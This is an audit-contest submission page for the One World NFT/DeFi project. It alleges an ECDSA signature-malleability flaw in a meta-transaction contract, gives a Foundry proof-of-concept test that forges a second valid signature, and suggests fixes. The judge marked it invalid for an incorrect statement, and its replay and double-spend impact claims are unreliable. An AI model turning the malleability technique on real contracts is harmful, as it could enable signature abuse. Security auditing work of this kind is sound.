Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Signature Malleability in NativeMetaTransaction Contract

Vulnerability Details

The NativeMetaTransaction contract contains a signature malleability vulnerability in its verify function. The function uses raw ecrecover for signature verification without implementing checks against signature malleability. Due to the mathematical properties of ECDSA signatures, for any valid signature (v, r, s), there exists another valid signature (v', r, s') that would pass the verification.

function verify(address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV)
internal
view
returns (bool)
{
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return signer == ecrecover(toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS);
}

Attack Scenario

  1. A user signs a valid meta-transaction with signature (v, r, s)

  2. An attacker can modify this signature to create (v', r, s') which also validates

  3. Both signatures would return the same address from ecrecover

  4. This could lead to:

    • Replay attacks with modified signatures

    • Signature reuse in different contexts

    • Potential transaction forgery

Impact

  • Security: Allows replay attacks through signature manipulation

  • Financial: Potential double-spending and unauthorized transaction execution

  • Technical: Compromises entire meta-transaction system integrity

  • Business: Loss of user trust and potential regulatory issues

Proof Of Concept

Run the Following test test_SignatureMalleability() :

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test, console} from "forge-std/Test.sol";
import {MembershipERC1155} from "../contracts/dao/tokens/MembershipERC1155.sol";
import {NativeMetaTransaction} from "../contracts/meta-transaction/NativeMetaTransaction.sol";
import {MembershipFactory} from "../contracts/dao/MembershipFactory.sol";
import {IMembershipERC1155} from "../contracts/dao/interfaces/IERC1155Mintable.sol";
import {
DAOConfig,
DAOInputConfig,
TierConfig,
DAOType,
TIER_MAX
} from "../contracts/dao/libraries/MembershipDAOStructs.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
contract MockERC20 {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 amount) public {
balanceOf[to] += amount;
}
function approve(address spender, uint256 amount) public returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transfer(address to, uint256 amount) public returns (bool) {
require(balanceOf[msg.sender] >= amount, "Insufficient balance");
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
require(allowance[from][msg.sender] >= amount, "Insufficient allowance");
require(balanceOf[from] >= amount, "Insufficient balance");
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
return true;
}
}
contract MockNativeMetaTransaction is NativeMetaTransaction {
function exposed_verify(address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV)
public
view
returns (bool)
{
return verify(signer, metaTx, sigR, sigS, sigV);
}
function exposed_hashMetaTransaction(MetaTransaction memory metaTx) public pure returns (bytes32) {
return hashMetaTransaction(metaTx);
}
function exposed_toTypedMessageHash(bytes32 messageHash) public view returns (bytes32) {
return toTypedMessageHash(messageHash);
}
}
contract MembershipTest is Test {
// Contract instances
MembershipERC1155 public membershipImpl;
MembershipFactory public factory;
IERC20 public mockToken;
// Test addresses
address public admin = makeAddr("admin");
address public DAOCreator = makeAddr("DAOCreator");
address public user1 = makeAddr("user1");
address public user2 = makeAddr("user2");
address public owpWallet = makeAddr("owpWallet");
address public currencyManager = makeAddr("currencyManager");
// Constants
string constant BASE_URI = "ipfs://QmTest/";
uint256 constant PLATFORM_FEE = 20; // 20%
// Test data
DAOInputConfig daoInputConfig;
TierConfig[] _tierConfigs;
// Add at the top with other constants
bytes32 constant BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
// Helper function to grant any role
function grantRole(address daoAddress, address to, bytes32 role) internal {
vm.prank(address(factory));
MembershipERC1155(daoAddress).grantRole(role, to);
}
// Modifier version if you prefer
modifier withRole(address daoAddress, address to, bytes32 role) {
vm.prank(address(factory));
MembershipERC1155(daoAddress).grantRole(role, to);
_;
}
MockNativeMetaTransaction public metaTxContract;
address public signer;
uint256 public signerPrivateKey;
function setUp() public {
vm.startPrank(admin);
// Deploy mock token for testing
mockToken = IERC20(deployMockERC20());
// Deploy the membership implementation
membershipImpl = new MembershipERC1155();
// Deploy the factory
factory = new MembershipFactory(currencyManager, owpWallet, BASE_URI, address(membershipImpl));
// Add this: Mock the currency manager to whitelist the mock token
vm.mockCall(
currencyManager,
abi.encodeWithSelector(bytes4(keccak256("isCurrencyWhitelisted(address)"))),
abi.encode(true)
);
metaTxContract = new MockNativeMetaTransaction();
(signer, signerPrivateKey) = makeAddrAndKey("signer");
vm.stopPrank();
}
function deployMockERC20() internal returns (address) {
MockERC20 token = new MockERC20();
// Mint some tokens to all test users
token.mint(user1, 100 ether);
token.mint(user2, 100 ether);
// Mint to all the loop addresses we'll use
for (uint256 i = 0; i < 50; i++) {
address user = address(uint160(1000 + i));
token.mint(user, 100 ether);
}
return address(token);
}
function setupTierConfigs(uint256 numberOfTiers) internal pure returns (TierConfig[] memory) {
TierConfig[] memory configs = new TierConfig[]();
if (numberOfTiers >= 1) {
configs[6] = TierConfig({amount: 100, price: 1 ether, power: 1, minted: 0});
}
if (numberOfTiers >= 2) {
configs[5] = TierConfig({amount: 50, price: 2 ether, power: 2, minted: 0});
}
if (numberOfTiers >= 3) {
configs[4] = TierConfig({amount: 25, price: 3 ether, power: 5, minted: 0});
}
if (numberOfTiers >= 4) {
configs[3] = TierConfig({amount: 10, price: 4 ether, power: 10, minted: 0});
}
if (numberOfTiers >= 5) {
configs[2] = TierConfig({amount: 5, price: 5 ether, power: 20, minted: 0});
}
if (numberOfTiers >= 6) {
configs[1] = TierConfig({amount: 3, price: 6 ether, power: 50, minted: 0});
}
if (numberOfTiers >= 7) {
configs[0] = TierConfig({amount: 1, price: 7 ether, power: 100, minted: 0});
}
return configs;
}
function test_SignatureMalleability() public {
NativeMetaTransaction.MetaTransaction memory transaction = NativeMetaTransaction.MetaTransaction({
nonce: 0,
from: signer,
functionSignature: abi.encodeWithSignature("transfer(address,uint256)", address(1), 100)
});
bytes32 messageHash = metaTxContract.exposed_hashMetaTransaction(transaction);
bytes32 typedMessageHash = metaTxContract.exposed_toTypedMessageHash(messageHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, typedMessageHash);
bool isValidOriginal = metaTxContract.exposed_verify(signer, transaction, r, s, v);
assertTrue(isValidOriginal, "Original signature should be valid");
// Create malleable signature
bytes32 malleableS =
bytes32(uint256(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141) - uint256(s));
uint8 malleableV = v == 27 ? 28 : 27;
bool isValidMalleable = metaTxContract.exposed_verify(signer, transaction, r, malleableS, malleableV);
assertTrue(isValidMalleable, "Malleable signature should also be valid");
address recoveredOriginal = ecrecover(typedMessageHash, v, r, s);
address recoveredMalleable = ecrecover(typedMessageHash, malleableV, r, malleableS);
assertEq(recoveredOriginal, recoveredMalleable, "Both signatures should recover to same address");
assertEq(recoveredOriginal, signer, "Recovered address should match signer");
console.log("Original signature:");
console.log("v:", uint256(v));
console.log("r:", uint256(r));
console.log("s:", uint256(s));
console.log("\nMalleable signature:");
console.log("v:", uint256(malleableV));
console.log("r:", uint256(r));
console.log("s:", uint256(malleableS));
}
}

Recommendations

Option 1: Add s-value Check

function verify(address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV)
internal
view
returns (bool)
{
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
// Add check for signature malleability
require(uint256(sigS) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"NativeMetaTransaction: Invalid signature 's' value");
return signer == ecrecover(toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS);
}

Option 2: Use OpenZeppelin's ECDSA Library (Recommended)

import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract NativeMetaTransaction is EIP712Base {
using ECDSA for bytes32;
function verify(address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV)
internal
view
returns (bool)
{
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
bytes32 digest = toTypedMessageHash(hashMetaTransaction(metaTx));
bytes memory signature = abi.encodePacked(sigR, sigS, sigV);
return signer == digest.recover(signature);
}
}
Updates

Lead Judging Commences

0xbrivan2 Lead Judge
about 1 year ago
0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!